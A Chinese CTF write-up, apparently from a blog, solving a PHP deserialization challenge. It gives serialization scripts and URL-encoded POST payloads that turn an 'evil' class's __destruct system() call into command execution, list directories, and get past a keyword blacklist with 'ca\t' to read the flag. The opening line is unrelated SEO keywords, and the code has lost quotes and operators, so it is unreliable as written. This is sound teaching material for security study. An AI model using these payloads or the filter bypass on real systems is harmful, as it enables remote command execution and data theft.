做电脑系统那个网站好点,工信部会抽查网站么,wordpress投票代码,微信微网站开发百度云代码审计#xff1a;
定义了一个eval类#xff0c;该类下有一个私有变量cmd和公有成员函数destruct()#xff0c;该函数在对象的所有引用都被删除或类被销毁时会自动调用#xff1b;
调用该函数则会执行一个正则表达式进行正则匹配#xff0c;过滤掉了一些常用命令和bas…
代码审计
定义了一个eval类该类下有一个私有变量cmd和公有成员函数destruct()该函数在对象的所有引用都被删除或类被销毁时会自动调用
调用该函数则会执行一个正则表达式进行正则匹配过滤掉了一些常用命令和base编码
i表示不区分大小写因此我们无法使用大小写来绕过
如果满足if条件没有被匹配到则会调用system函数执行我们传入的cmd内容
最终要求我们使用post请求给unser传参传入后会对其进行反序列化。
关于反序列化漏洞基础知识以及PHP魔法函数、pop链构造请参考我之前的博客
http://t.csdnimg.cn/UqIXd
http://t.csdnimg.cn/Crxdl
http://t.csdnimg.cn/vGNgX
http://t.csdnimg.cn/mdplc
OK咱们继续说这道题这里考的就是php反序列化漏洞
编写序列化脚本先将原本的eval类的内容复制进来
错误示例
?php
class evil {private $cmd;public function __destruct(){if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd)){system($this-cmd);}}
}$e new evil();
$e-cmd ls;
echo serialize($e)?
创建了一个 evil 对象并设置了 cmd 属性然后对对象进行了序列化。但要注意在 PHP 中如果一个类包含私有属性并且你尝试序列化该对象私有属性的值将不会被包括在序列化结果中。因此在反序列化时你无法访问 cmd 属性的值因为它不会被正确反序列化。
对于私有变量我们一般在类中直接对其修改
?php
class evil {private $cmdls;public function __destruct(){if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd)){system($this-cmd);}}
}$e new evil();
echo serialize($e)?
O:4:evil:1:{s:9:evil cmd;s:2:ls;}
虽然序列化成功了但是将结果传入发现没反应
应该是我们传入的内容被进行了一次url解码
因此我们对结果再进行url编码
?php
class evil {private $cmdls;public function __destruct(){if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd)){system($this-cmd);}}
}$e new evil();
echo urlencode(serialize($e));? 构造payload
postunserO%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A2%3A%22ls%22%3B%7D回显成功 构造payload进行目录穿越
?php
class evil {private $cmdls ../../../;public function __destruct(){if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd)){system($this-cmd);}}
}$e new evil();
echo urlencode((serialize($e)))? postunserO%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A12%3A%22ls..%2F..%2F..%2F%22%3B%7D在根目录下找到flag 由于cattac被过滤了这里使用转义符号进行绕过
?php
class evil {private $cmdca\t /th1s_1s_fffflllll4444aaaggggg;public function __destruct(){if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd)){system($this-cmd);}}
}$e new evil();
echo urlencode((serialize($e)))? 构造payload
postunserO%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22ca%5Ct%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7Dflag{1f321f7f-2a47-421e-839b-bb899cb523b0}